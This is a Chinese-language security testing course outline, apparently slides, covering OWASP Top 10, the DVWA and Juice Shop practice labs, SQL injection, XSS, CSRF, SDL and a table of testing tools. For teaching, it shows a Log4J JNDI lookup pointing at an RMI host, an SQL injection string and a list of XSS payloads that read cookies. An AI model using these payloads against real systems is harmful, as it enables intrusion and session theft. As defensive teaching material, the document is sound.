安全测试体系

大纲

  • 安全测试体系
  • 安全漏洞介绍
  • 安全测试演练环境
  • 安全测试流程
  • 安全测试工具
  • 安全运营

安全问题的由来

正常业务流程

uml diagram

黑客视角下的业务流程

uml diagram

安全风险触发流程

OWASP Top 10 2017 安全漏洞

OWASP Top 10 2021 安全漏洞

OWASP Top 10 2023 安全漏洞

Log4J 漏洞示例

  • 在系统可能打日志的地方,输入 jndi 语句
  • jndi:rmi:192.168.9.23:1099/remote

服务端安全风险层次

  • 应用逻辑层 Java Python Go Rust
  • 应用容器层 框架 组件 Spring Log4J Tomcat Jetty Nginx
  • 系统层 Linux 服务器 Windows 办公环境
  • 传输层 协议加密 协议安全
  • 网络层 通信链路 路由器 城际网
  • 硬件层 硬件固件安全、物理安全、后门访问、弱密码认证

安全测试演练环境

开源漏洞模拟环境

OWASP Juice Shop

docker run --rm -p 3000:3000 bkimminich/juice-shop

DVWA 安全漏洞模拟环境

部署方式

docker run -d --name dvwa  -p 8081:80 vulnerables/web-dvwa

常见漏洞演练

命令注入漏洞

命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。 当应用程序将用户提供的不安全数据(表格,cookie,HTTP 标头等)传递到 Shell 时,可能会发生命令注入攻击。 在这种攻击中,通常由易受攻击的应用程序以特权执行由攻击者提供的操作系统命令。 由于没有足够的输入验证,因此可能会发生命令注入攻击。

命令注入案例

漏洞成因

  • 多语句分号: ;
  • 条件执行: && ||
  • 管道符号: |

SQL 注入漏洞

SQL 注入漏洞原理

SQL 注入(英语:SQL injection),也称 SQL 注入或 SQL 注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵。

漏洞解释

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

SQL 注入漏洞成因

SQL 注入危害与预防

  • 危害:漏洞可以让黑客无限制的使用 SQL,造成数据泄露甚至远程命令执行。
  • 预防:使用参数化查询避免数据被混在在指令中。

XSS 漏洞

XSS 漏洞介绍

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。 XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java,VBScript,ActiveX,Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。

XSS 漏洞成因

XSS 漏洞利用

>
<script>
  alert(document.cookie);
</script>
='>
<script>
  alert(document.cookie);
</script>
">
<script>
  alert(document.cookie);
</script>
<script>
  alert(document.cookie);
</script>
<script>
  alert(vulnerable);
</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>
  alert("XSS");
</script>
<img src="javascript:alert('XSS')" />
<img src="http://888.888.com/999.png" onerror="alert('XSS')" />

XSS 危害与防范

  • 危害:危害网站上的其他用户,导致被动执行非预期网页脚本
  • 预防:输入输出过滤、利用浏览器安全机制等
  • 检测:可自动化发现

CSRF 漏洞

CSRF 漏洞介绍与原理

  • 跨站请求伪造(英语:Cross-site request forgery),也被称为  one-click attack  或者  session riding,通常缩写为  CSRF  或者  XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS  利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
  • 跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

CSRF 漏洞示例

CSRF 常见的攻击 payload

  • 利用 url
  • 利用图片请求
  • 利用伪造表单

CSRF 危害与预防

  • 危害:导致用户执行非本意的网站请求
  • 预防:增加 token 校验、检查 referer

安全测试流程

Security Development Lifecycle(SDL)

  • 安全开发生命周期
  • 微软出品,定义非常详细
  • 阿里、腾讯、百度的安全体系皆最早借鉴于 SDL

分析攻击面

安全风险层次

  • 业务应用层 Java Python Go Rust
  • 应用容器层 框架 组件 Spring Log4J Tomcat Jetty Nginx
  • 系统层 Linux 服务器 Windows 办公环境
  • 传输层 协议加密 协议安全
  • 网络层 通信链路 路由器 城际网
  • 硬件层 硬件固件安全、物理安全、后门访问、弱密码认证

硬件层安全

  • 硬件固件安全:底层系统安全
  • 物理安全:sdcard 外部接口
  • 后门访问:主动访问、主动回传
  • 弱密码:默认密码 简单密码
  • 弱认证:认证机制简单、无认证、破解容易

网络层安全

风险 方法
路由器:wifi dns 认证 安全测试
网络通信 证书认证 协议加密
DDOS 攻击 防火墙

传输层

风险 防范
通信链路:蓝牙、4g、5g、串口、网线 协议安全测试
协议安全:监听、劫持 加密、反破解
协议安全:注入 加密、防注入

系统层风险与防范

风险 防范 工具
服务器本身安全:服务器被入侵 防火墙 安全审计
端口扫描 弱口令扫描 nmap openvas
工作环境安全:员工电脑被入侵 安全软件 安全审计 安全应用清单

应用容器层安全

风险 防范 工具
框架层安全 安全测试 漏洞规则更新 防火墙 wvs zap
组件安全 第三方组件安全清单、代码安全分析 Snyk FOSSA Dependency-Check
开发环境安全 准入审计

业务应用层安全

风险 防范 工具
代码安全 代码安全扫描 静态测试 SonarQube FindBugs
代码安全 动态测试 Fuzz 测试
数据安全 渗透测试 burpsuite wvs appscan sqlmap

安全响应与安全运营

  • 经过测试的产品并不一定没有安全漏洞
  • 0day 新漏洞可能会随时出现
  • 出现安全事件要及时响应

常用安全测试工具

常用安全工具

开源 商业支持 定制型 生态
OWASP ZAP 开源动态测试工具 5 5 5
sqlmap sql 注入探测工具 5 5 5
burpsuite 渗透测试工具 5 5 5
awvs appscan nessus 商业安全测试工具 5 3 4
SonarQube 代码静态分析 5 5 5 5
nmap Metasploit OpenVAS 端口扫描漏洞探测 5 3 5
Snyk 开源依赖和容器安全扫描 5 5 5 5

OWASP ZAP 实战演练

ZAP 流程

  • 网站结构爬取与分析
  • 设置认证
  • 进行安全测试
  • 安全规则选择与漏洞扫描
  • 漏洞报告分析

Q&A

rsync -av export/ huangyansheng@pdf.ceshiren.com:/data/nginx/pdf/public/ceba/geektime/3-1